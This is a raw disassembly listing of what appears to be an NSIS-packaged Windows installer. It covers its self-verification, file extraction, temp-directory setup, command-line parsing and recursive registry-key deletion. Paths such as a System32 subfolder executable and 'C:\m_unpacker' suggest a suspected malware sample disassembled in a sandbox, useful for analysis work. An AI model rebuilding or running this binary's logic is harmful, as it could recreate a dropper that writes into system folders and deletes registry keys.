		cmp	[ebp-1Ch], ebx
		jz	short loc_4028CF
		push	eax
		call	sub_401299
		push	ebx
		push	ebx
		call	sub_4011EF
		jmp	short loc_40292F ; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_4028CF:				; CODE XREF: sub_4028A8+16j
		push	ebx
		call	sub_4012E2


loc_4028D5:				; CODE XREF: sub_4021F6+47Dj
		push	eax


loc_4028D6:				; CODE XREF: sub_402821+3Fj
		push	edi


loc_4028D7:				; CODE XREF: sub_401439+149j
		call	sub_405939
		jmp	short loc_40292F ; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_4028DE:				; CODE XREF: sub_4028A8+11j
		cmp	[ebp-1Ch], ebx
		jz	short loc_4028F5
		mov	edx, dword_42F428
		mov	ecx, [ebp-20h]
		mov	[edx+eax*4+94h], ecx
		jmp	short loc_40292F ; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_4028F5:				; CODE XREF: sub_4028A8+39j
		mov	ecx, dword_42F428
		push	dword ptr [ecx+eax*4+94h]
		push	edi
		call	sub_4059FD
		jmp	short loc_40292F ; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_40290A:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		mov	ecx, dword_42B8A0 ; jumptable 0040148C case 67
		push	ebx
		and	ecx, eax
		push	ecx
		push	0Bh
		push	dword ptr [ebp-8]
		call	ds:dword_40723C	; SendMessageA
		cmp	[ebp-24h], ebx
		jz	short loc_40292F ; default
					; jumptable 0040148C cases 65,66
		push	ebx
		push	ebx
		push	dword ptr [ebp-8]
		call	ds:dword_407238	; InvalidateRect


loc_40292F:				; CODE XREF: sub_401439+4Dj
					; sub_401439+53j ...
		mov	eax, [ebp-4]	; default
					; jumptable 0040148C cases 65,66
		add	dword_42F4A8, eax


loc_402938:				; CODE XREF: sub_401439+48Fj
					; sub_4021F6+41Bj
		xor	eax, eax


loc_40293A:				; CODE XREF: sub_401439+53j
					; sub_401439+9Ej ...
		pop	edi		; jumptable 0040148C case 2
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4028A8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
off_402941	dd offset loc_40293A, offset loc_401493, offset	loc_40149F
					; DATA XREF: sub_401439+53r
		dd offset loc_4014BA, offset loc_4014DC, offset	loc_401518 ; jump table	for switch statement
		dd offset loc_401532, offset loc_401587, offset	loc_4015B7
		dd offset loc_4015D5, offset loc_40165A, offset	loc_401540
		dd offset loc_401556, offset loc_401577, offset	loc_40166B
		dd offset loc_4016FF, offset loc_401763, offset	loc_40178A
		dd offset loc_40179D, offset loc_40194C, offset	loc_40194F
		dd offset loc_401981, offset loc_401996, offset	loc_4019A8
		dd offset loc_401A29, offset loc_401A5A, offset	loc_401A91
		dd offset loc_401AC3, offset loc_401B50, offset	loc_401B71
		dd offset loc_401C19, offset loc_401C19, offset	loc_401CDB
		dd offset loc_401CF8, offset loc_401D13, offset	loc_401D32
		dd offset loc_401D8E, offset loc_401E08, offset	loc_401E34
		dd offset sub_401E9C, offset loc_401F1B, offset	loc_401F4B
		dd offset loc_401FDC, offset loc_4020A6, offset	sub_4021F6
		dd offset loc_402279, offset loc_4022A8, offset	loc_4022EA
		dd offset loc_40232A, offset loc_402386, offset	loc_40242A
		dd offset loc_4024A5, offset loc_402506, offset	loc_40251A
		dd offset loc_40253C, offset loc_402584, offset	loc_402649
		dd offset loc_402678, offset loc_402692, offset	loc_4026BC
		dd offset sub_4026FA, offset sub_402821, offset	sub_4028A7
		dd offset loc_40292F, offset loc_40292F, offset	loc_40290A
off_402A49	dd offset loc_401AE4	; DATA XREF: sub_401439+6A4r
		dd offset loc_401AE8	; jump table for switch	statement
		dd offset loc_401AEC
		dd offset loc_401AF3
		dd offset loc_401B00
		dd offset loc_401B04
		dd offset loc_401B08
		dd offset loc_401B0C
		dd offset loc_401B15
		dd offset loc_401B1F
		dd offset loc_401B2C
		dd offset loc_401B44
		dd offset loc_401B48

; =============== S U B	R O U T	I N E =======================================



sub_402A7D	proc near		; CODE XREF: sub_401439+E0p
					; sub_401439+109p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, dword_40943C
		push	dword ptr [ecx+eax*4]
		push	0
		call	sub_4059FD
		push	eax
		call	sub_405952
		retn	4
sub_402A7D	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A9A	proc near		; CODE XREF: sub_401439+180p
					; sub_401439+19Ep ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		push	edi
		mov	eax, esi
		jge	short loc_402AA8
		neg	eax


loc_402AA8:				; CODE XREF: sub_402A9A+Aj
		mov	edx, dword_40943C
		mov	ecx, eax
		and	ecx, 0Fh
		sar	eax, 4
		push	dword ptr [edx+ecx*4]
		shl	eax, 0Ah
		add	eax, offset aCWindowsSyst_1 ; "C:\\WINDOWS\\System32\\vMW03a\\vMW03a1066.e"...
		push	eax
		call	sub_4059FD
		test	esi, esi
		mov	edi, eax
		jge	short loc_402AD3
		push	edi
		call	sub_405C17


loc_402AD3:				; CODE XREF: sub_402A9A+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_402A9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402ADA	proc near		; CODE XREF: sub_4021F6+17Cp
					; sub_402ADA+42p

var_10C		= byte ptr -10Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		xor	ebx, ebx
		push	8
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_407010	; RegOpenKeyExA
		cmp	eax, ebx
		jnz	short loc_402B4C
		mov	esi, ds:dword_407008
		mov	edi, 105h
		jmp	short loc_402B25
; ---------------------------------------------------------------------------


loc_402B0C:				; CODE XREF: sub_402ADA+5Bj
		cmp	[ebp+arg_8], ebx
		jnz	short loc_402B53
		lea	eax, [ebp+var_10C]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_402ADA
		test	eax, eax
		jnz	short loc_402B37


loc_402B25:				; CODE XREF: sub_402ADA+30j
		lea	eax, [ebp+var_10C]
		push	edi
		push	eax
		push	ebx
		push	[ebp+var_4]
		call	esi	; RegEnumKeyA
		test	eax, eax
		jz	short loc_402B0C


loc_402B37:				; CODE XREF: sub_402ADA+49j
		push	[ebp+var_4]
		call	ds:dword_40701C	; RegCloseKey
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_407014	; RegDeleteKeyA


loc_402B4C:				; CODE XREF: sub_402ADA+23j
					; sub_402ADA+85j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_402B53:				; CODE XREF: sub_402ADA+35j
		push	[ebp+var_4]
		call	ds:dword_40701C	; RegCloseKey
		xor	eax, eax
		inc	eax
		jmp	short loc_402B4C
sub_402ADA	endp


; =============== S U B	R O U T	I N E =======================================



sub_402B61	proc near		; CODE XREF: sub_4021F6+176p
					; sub_4021F6+191p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short locret_402B73
		mov	eax, dword_42F4A4
		add	eax, 80000001h

locret_402B73:				; CODE XREF: sub_402B61+6j
		retn	4
sub_402B61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B76	proc near		; CODE XREF: sub_4021F6+13Bp
					; sub_4021F6+239p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_0]
		push	eax
		push	[ebp+arg_0]
		push	0
		push	22h
		call	sub_402A9A
		push	eax
		mov	eax, dword_40943C
		push	dword ptr [eax+4]
		call	sub_402B61
		push	eax
		call	ds:dword_407010	; RegOpenKeyExA
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, [ebp+arg_0]
		pop	ebp
		retn	4
sub_402B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402BAB	proc near		; DATA XREF: sub_402C37+157o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 110h
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, 113h
		jnz	short loc_402BDC
		push	0
		push	0FAh
		push	1
		push	edi
		call	ds:dword_4071E4	; SetTimer
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_4], esi
		mov	dword_40B048, eax


loc_402BDC:				; CODE XREF: sub_402BAB+14j
		cmp	[ebp+arg_4], esi
		jnz	short loc_402C2F
		mov	ecx, dword_414C50
		mov	eax, dword_428C58


loc_402BEC:				; DATA XREF: .data:0040F9D0o
					; .data:0040F9D4o ...
		cmp	ecx, eax
		jl	short loc_402BF2
		mov	ecx, eax


loc_402BF2:				; CODE XREF: sub_402BAB+43j
		push	eax
		push	64h
		push	ecx
		call	ds:dword_40712C	; MulDiv
		push	eax
		mov	esi, offset dword_414C10
		push	dword_40B048
		push	esi
		call	ds:dword_4071F4	; wsprintfA
		add	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_4071E8	; SetWindowTextA
		push	esi
		push	406h
		push	edi
		call	sub_4052B9	; SetDlgItemTextA
		push	5
		push	edi
		call	ds:dword_407258	; ShowWindow


loc_402C2F:				; CODE XREF: sub_402BAB+34j
		pop	edi
		xor	eax, eax
		pop	esi
		pop	ebp
		retn	10h
sub_402BAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C37	proc near		; CODE XREF: start+160p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi


loc_402C3F:				; DATA XREF: .data:0040F980o
					; .data:0041B9D8o
		xor	esi, esi
		push	edi
		mov	[ebp+var_4], esi
		call	ds:dword_40709C	; GetTickCount
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	esi, offset aCM_unpacker ; "C:\\m_unpacker"
		push	400h
		push	esi
		mov	edi, eax
		push	dword_42F420


loc_402C64:				; DATA XREF: .data:0040F984o
					; .data:0041B9DCo
		add	edi, 3E8h
		call	ds:dword_407098	; GetModuleFileNameA
		push	3
		push	80000000h
		push	esi
		call	sub_4056AC
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[ebp+var_10], ebx


loc_402C85:				; DATA XREF: .data:0040F96Co
					; .data:0041B9C4o
		mov	dword_409020, ebx
		jnz	short loc_402C97
		mov	eax, offset aErrorLaunching ; "Error launching installer"
		jmp	loc_402EB6
; ---------------------------------------------------------------------------


loc_402C97:				; CODE XREF: sub_402C37+54j
		push	esi
		call	sub_40552F
		push	0
		push	ebx
		call	ds:dword_407094	; GetFileSize
		test	eax, eax


loc_402CA8:				; DATA XREF: .data:0040F968o
					; .data:0041B9C0o
		mov	dword_428C58, eax
		mov	esi, eax
		jle	loc_402DDE


loc_402CB5:				; CODE XREF: sub_402C37+192j
		mov	eax, dword_42F42C
		mov	ebx, esi
		neg	eax
		sbb	eax, eax
		and	eax, 7E00h
		add	eax, 200h
		cmp	esi, eax
		jl	short loc_402CD0
		mov	ebx, eax


loc_402CD0:				; CODE XREF: sub_402C37+95j
					; DATA XREF: .data:0040F97Co ...
		push	ebx
		push	offset dword_420C58
		call	sub_4030E9
		test	eax, eax
		jz	loc_402E49
		xor	eax, eax
		cmp	dword_42F42C, eax
		jnz	short loc_402D6C
		push	1Ch
		lea	eax, [ebp+var_2C]


loc_402CF2:				; DATA XREF: .data:0040F978o
					; .data:0041B9D0o
		push	offset dword_420C58
		push	eax
		call	sub_40568C
		mov	ecx, [ebp+var_2C]
		test	ecx, 0FFFFFFF0h
		jnz	loc_402DA6
		cmp	[ebp+var_28], 0DEADBEEFh


loc_402D13:				; DATA XREF: .data:0040F970o
					; .data:0041B9C8o
		jnz	loc_402DA6
		cmp	[ebp+var_1C], 74736E49h
		jnz	loc_402DA6
		cmp	[ebp+var_20], 74666F73h
		jnz	short loc_402DA6
		cmp	[ebp+var_24], 6C6C754Eh
		jnz	short loc_402DA6
		mov	eax, [ebp+var_14]


loc_402D3B:				; DATA XREF: .data:0040F974o
					; .data:0041B9CCo
		cmp	eax, esi
		jg	loc_402E42
		or	[ebp+arg_0], ecx
		mov	edx, dword_414C50
		test	byte ptr [ebp+arg_0], 8
		mov	dword_42F42C, edx
		jnz	short loc_402D5E
		test	byte ptr [ebp+arg_0], 4
		jnz	short loc_402DCF


loc_402D5E:				; CODE XREF: sub_402C37+11Fj
					; DATA XREF: .data:0040F9C8o ...
		inc	[ebp+var_8]
		lea	esi, [eax-4]
		cmp	ebx, esi
		jbe	short loc_402DA6
		mov	ebx, esi
		jmp	short loc_402DA6
; ---------------------------------------------------------------------------


loc_402D6C:				; CODE XREF: sub_402C37+B4j
		test	byte ptr [ebp+arg_0], 2
		jnz	short loc_402DA6
		cmp	[ebp+var_4], eax
		jz	short loc_402D7F
		push	eax
		call	sub_405D18
		jmp	short loc_402DA6
; ---------------------------------------------------------------------------


loc_402D7F:				; CODE XREF: sub_402C37+13Ej
		call	ds:dword_40709C	; GetTickCount
		cmp	eax, edi


loc_402D87:				; DATA XREF: .data:0040F964o
					; .data:0041B9BCo
		jbe	short loc_402DA6
		push	offset aVerifyingInsta ; "verifying installer: %d%%"
		push	offset sub_402BAB
		push	0
		push	6Fh
		push	dword_42F420
		call	ds:dword_4071DC	; CreateDialogParamA
		mov	[ebp+var_4], eax


loc_402DA6:				; CODE XREF: sub_402C37+CFj
					; sub_402C37:loc_402D13j ...
		cmp	esi, dword_428C58
		jge	short loc_402DBF
		push	ebx


loc_402DAF:				; DATA XREF: .data:0040E588o
					; .data:0040F7ECo ...
		push	offset dword_420C58
		push	[ebp+var_C]
		call	sub_405D4B
		mov	[ebp+var_C], eax


loc_402DBF:				; CODE XREF: sub_402C37+175j
		add	dword_414C50, ebx
		sub	esi, ebx
		test	esi, esi
		jg	loc_402CB5


loc_402DCF:				; CODE XREF: sub_402C37+125j
		cmp	[ebp+var_4], 0
		jz	short loc_402DDE
		push	[ebp+var_4]
		call	ds:dword_4071E0	; DestroyWindow


loc_402DDE:				; CODE XREF: sub_402C37+78j
					; sub_402C37+19Cj
		xor	edi, edi
		cmp	dword_42F42C, edi
		jz	short loc_402E42
		cmp	[ebp+var_8], edi
		jz	short loc_402E0F


loc_402DED:				; DATA XREF: .data:0040E7D4o
					; .data:0041A82Co
		push	dword_414C50
		call	sub_40311B
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	sub_4030E9
		test	eax, eax
		jz	short loc_402E42
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_8]
		jnz	short loc_402E42


loc_402E0F:				; CODE XREF: sub_402C37+1B4j
		push	[ebp+var_18]
		push	40h
		call	ds:dword_4070F8	; GlobalAlloc
		mov	esi, eax
		mov	eax, dword_42F42C
		add	eax, 1Ch
		push	eax
		call	sub_40311B
		push	[ebp+var_18]
		push	esi
		push	edi


loc_402E2F:				; DATA XREF: .data:0040F830o
					; .data:0041B888o
		push	0FFFFFFFFh
		call	sub_402EBD
		cmp	eax, [ebp+var_18]
		jz	short loc_402E5A
		push	esi


loc_402E3C:				; DATA XREF: .data:0040F7F4o
					; .data:0040F834o ...
		call	ds:dword_4070F4	; GlobalFree


loc_402E42:				; CODE XREF: sub_402C37+106j
					; sub_402C37+1AFj ...
		mov	eax, offset aTheInstallerYo ; "The installer you are trying to use is "...


loc_402E47:				; DATA XREF: .data:0040F820o
					; .data:0040F838o ...
		jmp	short loc_402EB6
; ---------------------------------------------------------------------------


loc_402E49:				; CODE XREF: sub_402C37+A6j
		cmp	[ebp+var_4], 0
		jz	short loc_402E42
		push	[ebp+var_4]


loc_402E52:				; DATA XREF: .data:0040F83Co
					; .data:0041B894o
		call	ds:dword_4071E0	; DestroyWindow
		jmp	short loc_402E42
; ---------------------------------------------------------------------------


loc_402E5A:				; CODE XREF: sub_402C37+202j
		test	byte ptr [ebp+arg_0], 2
		mov	dword_42F428, esi


loc_402E64:				; DATA XREF: .data:0040F818o
					; .data:0041B870o
		jz	short loc_402E69
		or	dword ptr [esi], 8


loc_402E69:				; CODE XREF: sub_402C37:loc_402E64j
		mov	eax, [esi]
		and	eax, 18h
		test	byte ptr [ebp+var_2C], 1


loc_402E72:				; DATA XREF: .data:0040F81Co
					; .data:0041B874o
		mov	dword_42F4C0, eax
		mov	eax, [esi]
		mov	dword_42F430, eax
		jz	short loc_402E86
		inc	dword_42F434


loc_402E86:				; CODE XREF: sub_402C37+247j
		push	8


loc_402E88:				; DATA XREF: .data:0040F800o
					; .data:0041B858o
		lea	eax, [esi+44h]
		pop	ecx


loc_402E8C:				; CODE XREF: sub_402C37+25Bj
		sub	eax, 8


loc_402E8F:				; DATA XREF: .data:0040F7F8o
					; .data:0041B850o
		add	[eax], esi
		dec	ecx
		jnz	short loc_402E8C
		push	1
		push	edi
		push	edi
		push	[ebp+var_10]


loc_402E9B:				; DATA XREF: .data:0040F808o
					; .data:0041B860o
		call	ds:dword_407130	; SetFilePointer
		mov	[esi+3Ch], eax
		add	esi, 4


loc_402EA7:				; DATA XREF: .data:0040F824o
					; .data:0041B87Co
		push	40h
		push	esi
		push	offset dword_42F440
		call	sub_40568C


loc_402EB4:				; DATA XREF: .data:0040F828o
					; .data:0041B880o
		xor	eax, eax


loc_402EB6:				; CODE XREF: sub_402C37+5Bj
					; sub_402C37:loc_402E47j
		pop	edi
		pop	esi
		pop	ebx
		leave

locret_402EBA:				; DATA XREF: .data:0040F810o
					; .data:0041B868o
		retn	4
sub_402C37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402EBD	proc near		; CODE XREF: sub_401439+4ACp
					; sub_4021F6+20Ep ...

var_58		= byte ptr -58h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_C]


loc_402EC8:				; DATA XREF: .data:0040F814o
					; .data:0041B86Co
		push	edi
		mov	edi, [ebp+arg_8]
		mov	[ebp+var_8], esi


loc_402ECF:				; DATA XREF: .data:0040F7F0o
					; .data:0041B848o
		test	edi, edi
		jnz	short loc_402EDA
		mov	[ebp+var_8], 8000h


loc_402EDA:				; CODE XREF: sub_402EBD+14j
		and	[ebp+var_4], 0


loc_402EDE:				; DATA XREF: .data:0040E34Co
					; .data:0041A3A4o
		mov	[ebp+var_C], edi
		test	edi, edi
		jnz	short loc_402EEC
		mov	[ebp+var_C], offset dword_418C58


loc_402EEC:				; CODE XREF: sub_402EBD+26j
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jl	short loc_402F01
		mov	ecx, dword_42F478
		add	ecx, eax
		push	ecx
		call	sub_40311B


loc_402F01:				; CODE XREF: sub_402EBD+34j
		lea	eax, [ebp+arg_C]
		push	4
		push	eax
		call	sub_4030E9
		test	eax, eax
		jz	loc_403094
		test	byte ptr [ebp+arg_C+3],	80h
		jz	loc_40307D
		mov	ebx, ds:dword_40709C
		call	ebx	; GetTickCount
		and	dword_40B57C, 0
		and	dword_40B578, 0
		and	[ebp+arg_C], 7FFFFFFFh
		mov	[ebp+var_10], eax
		mov	eax, offset dword_40CC00
		mov	dword_40B060, 8
		mov	off_414C08, eax
		mov	off_414C04, eax
		mov	eax, [ebp+arg_C]
		mov	off_414C00, offset off_414C00
		mov	[ebp+arg_0], eax
		jle	loc_4030DF


loc_402F6D:				; CODE XREF: sub_402EBD+1B0j
		mov	esi, 4000h
		cmp	[ebp+arg_C], esi
		jge	short loc_402F7A
		mov	esi, [ebp+arg_C]


loc_402F7A:				; CODE XREF: sub_402EBD+B8j
		mov	edi, offset dword_414C58
		push	esi
		push	edi
		call	sub_4030E9
		test	eax, eax
		jz	loc_403094
		sub	[ebp+arg_C], esi
		mov	off_40B050, edi
		mov	dword_40B054, esi


loc_402F9D:				; CODE XREF: sub_402EBD+1A5j
		mov	edi, [ebp+var_C]
		mov	eax, [ebp+var_8]
		push	offset off_40B050
		mov	off_40B058, edi
		mov	dword_40B05C, eax
		call	sub_405DB9
		test	eax, eax
		mov	[ebp+var_18], eax
		jl	loc_403075
		mov	esi, off_40B058
		sub	esi, edi
		call	ebx	; GetTickCount
		test	byte ptr dword_4092A0, 1
		mov	edi, eax
		jz	short loc_40301B
		sub	eax, [ebp+var_10]
		cmp	eax, 0C8h
		ja	short loc_402FE8
		cmp	[ebp+arg_C], 0
		jnz	short loc_40301B


loc_402FE8:				; CODE XREF: sub_402EBD+123j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_0]
		sub	eax, [ebp+arg_C]
		push	64h
		push	eax
		call	ds:dword_40712C	; MulDiv
		push	eax
		lea	eax, [ebp+var_58]
		push	offset a___D	; "... %d%%"
		push	eax
		call	ds:dword_4071F4	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	0
		call	sub_404D7E
		mov	[ebp+var_10], edi


loc_40301B:				; CODE XREF: sub_402EBD+119j
					; sub_402EBD+129j
		xor	eax, eax
		cmp	esi, eax
		jz	short loc_40306A
		cmp	[ebp+arg_8], eax
		jnz	short loc_403046
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		push	[ebp+var_C]
		push	[ebp+arg_4]
		call	ds:dword_407124	; WriteFile
		test	eax, eax
		jz	short loc_403079
		cmp	[ebp+var_14], esi
		jnz	short loc_403079
		add	[ebp+var_4], esi
		jmp	short loc_40305E
; ---------------------------------------------------------------------------


loc_403046:				; CODE XREF: sub_402EBD+167j
		sub	[ebp+var_8], esi
		add	[ebp+var_4], esi
		mov	eax, off_40B058
		cmp	[ebp+var_8], 1
		mov	[ebp+var_C], eax
		jl	loc_4030DF


loc_40305E:				; CODE XREF: sub_402EBD+187j
		cmp	[ebp+var_18], 1
		jnz	loc_402F9D
		jmp	short loc_4030DF
; ---------------------------------------------------------------------------


loc_40306A:				; CODE XREF: sub_402EBD+162j
		cmp	[ebp+arg_C], eax
		jg	loc_402F6D
		jmp	short loc_4030DF
; ---------------------------------------------------------------------------


loc_403075:				; CODE XREF: sub_402EBD+100j
		push	0FFFFFFFCh
		jmp	short loc_403096
; ---------------------------------------------------------------------------


loc_403079:				; CODE XREF: sub_402EBD+17Dj
					; sub_402EBD+182j ...
		push	0FFFFFFFEh
		jmp	short loc_403096
; ---------------------------------------------------------------------------


loc_40307D:				; CODE XREF: sub_402EBD+5Bj
		test	edi, edi
		jz	short loc_4030D4
		cmp	[ebp+arg_C], esi
		jge	short loc_403089
		mov	esi, [ebp+arg_C]


loc_403089:				; CODE XREF: sub_402EBD+1C7j
		push	esi
		push	edi
		call	sub_4030E9
		test	eax, eax
		jnz	short loc_4030DC


loc_403094:				; CODE XREF: sub_402EBD+51j
					; sub_402EBD+CBj ...
		push	0FFFFFFFDh


loc_403096:				; CODE XREF: sub_402EBD+1BAj
					; sub_402EBD+1BEj
		pop	eax
		jmp	short loc_4030E2
; ---------------------------------------------------------------------------


loc_403099:				; CODE XREF: sub_402EBD+21Bj
		mov	esi, [ebp+var_8]
		cmp	[ebp+arg_C], esi
		jge	short loc_4030A4
		mov	esi, [ebp+arg_C]


loc_4030A4:				; CODE XREF: sub_402EBD+1E2j
		mov	edi, offset dword_414C58
		push	esi
		push	edi
		call	sub_4030E9
		test	eax, eax
		jz	short loc_403094
		lea	eax, [ebp+arg_8]
		push	0
		push	eax
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_407124	; WriteFile
		test	eax, eax
		jz	short loc_403079
		cmp	esi, [ebp+arg_8]
		jnz	short loc_403079
		add	[ebp+var_4], esi
		sub	[ebp+arg_C], esi


loc_4030D4:				; CODE XREF: sub_402EBD+1C2j
		cmp	[ebp+arg_C], 0
		jg	short loc_403099
		jmp	short loc_4030DF
; ---------------------------------------------------------------------------


loc_4030DC:				; CODE XREF: sub_402EBD+1D5j
		mov	[ebp+var_4], esi


loc_4030DF:				; CODE XREF: sub_402EBD+AAj
					; sub_402EBD+19Bj ...
		mov	eax, [ebp+var_4]


loc_4030E2:				; CODE XREF: sub_402EBD+1DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_402EBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030E9	proc near		; CODE XREF: sub_4026FA+89p
					; sub_402C37+9Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	0
		push	eax
		push	esi
		push	[ebp+arg_0]
		push	dword_409020
		call	ds:dword_407128	; ReadFile
		test	eax, eax
		jz	short loc_403114
		cmp	[ebp+arg_4], esi
		jnz	short loc_403114
		xor	eax, eax
		inc	eax
		jmp	short loc_403116
; ---------------------------------------------------------------------------


loc_403114:				; CODE XREF: sub_4030E9+1Fj
					; sub_4030E9+24j
		xor	eax, eax


loc_403116:				; CODE XREF: sub_4030E9+29j
		pop	esi
		pop	ebp
		retn	8
sub_4030E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40311B	proc near		; CODE XREF: sub_4026FA+80p
					; sub_402C37+1BCp ...

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		push	dword_409020
		call	ds:dword_407130	; SetFilePointer
		retn	4
sub_40311B	endp


; =============== S U B	R O U T	I N E =======================================



sub_403132	proc near		; CODE XREF: start+63p	start+83p
		push	esi
		mov	esi, offset aCDocume1SriUse ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\"
		push	esi
		call	sub_405C17
		push	esi
		call	sub_405554
		test	eax, eax
		jnz	short loc_40314A
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40314A:				; CODE XREF: sub_403132+14j
		push	esi
		call	sub_4054E8
		push	0
		push	esi
		call	ds:dword_407088	; CreateDirectoryA
		push	esi
		push	offset byte_435000
		call	sub_4056DB
		pop	esi
		retn
sub_403132	endp


; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_224		= dword	ptr -224h
var_204		= dword	ptr -204h
var_1E8		= dword	ptr -1E8h
var_1CC		= dword	ptr -1CCh
var_1C4		= dword	ptr -1C4h
var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= dword	ptr -1B0h
var_17C		= byte ptr -17Ch
var_174		= dword	ptr -174h
var_164		= byte ptr -164h

		sub	esp, 17Ch
		push	ebx
		push	ebp
		push	esi
		xor	esi, esi
		push	edi
		mov	[esp+18Ch+var_174], esi
		mov	ebp, offset aErrorWritingTe ; "Error writing temporary file. Make sure"...
		mov	[esp+18Ch+var_17C], 20h
		call	ds:dword_407030
		push	esi
		call	ds:dword_407270
		mov	dword_42F4D0, eax
		push	esi
		lea	eax, [esp+194h+var_164]
		push	160h
		push	eax
		push	esi
		push	offset dword_429860
		call	ds:dword_407158
		push	offset aNsisError ; "NSIS Error"
		push	offset aNameSetup ; "Name Setup"
		call	sub_4059DB
		mov	ebx, offset aCDocume1SriUse ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\"
		push	ebx
		push	400h
		call	ds:dword_4070B4	; GetTempPathA
		call	sub_403132
		test	eax, eax
		jnz	short loc_4031F6
		push	3FBh
		push	ebx
		call	ds:dword_4070B0	; GetWindowsDirectoryA
		push	offset aTemp	; "\\Temp"
		push	ebx
		call	sub_4059F7	; lstrcat
		call	sub_403132
		test	eax, eax
		jz	loc_403332


loc_4031F6:				; CODE XREF: start+6Aj
		mov	edi, offset byte_435000
		push	edi
		call	ds:dword_407140	; DeleteFileA
		call	ds:dword_4070AC	; GetCommandLineA
		push	eax
		push	edi
		call	sub_4059DB
		push	0
		call	ds:dword_407108	; GetModuleHandleA
		cmp	ds:byte_435000,	22h
		mov	dword_42F420, eax
		mov	eax, edi
		jnz	short loc_403231
		mov	byte ptr [esp+1C4h+var_1B4], 22h
		mov	eax, offset byte_435001


loc_403231:				; CODE XREF: start+BFj
		push	[esp+1C4h+var_1B4]
		push	eax
		call	sub_405513
		push	eax
		call	ds:dword_407214	; CharNextA
		mov	[esp+1C8h+var_1B4], eax
		jmp	short loc_4032AB
; ---------------------------------------------------------------------------


loc_403248:				; CODE XREF: start+149j
		cmp	cl, 20h
		jnz	short loc_403253


loc_40324D:				; CODE XREF: start+EBj
		inc	eax
		cmp	byte ptr [eax],	20h
		jz	short loc_40324D


loc_403253:				; CODE XREF: start+E5j
		cmp	byte ptr [eax],	22h
		mov	byte ptr [esp+1C8h+var_1B8], 20h
		jnz	short loc_403263
		inc	eax
		mov	byte ptr [esp+1C8h+var_1B8], 22h


loc_403263:				; CODE XREF: start+F5j
		cmp	byte ptr [eax],	2Fh
		jnz	short loc_40329B
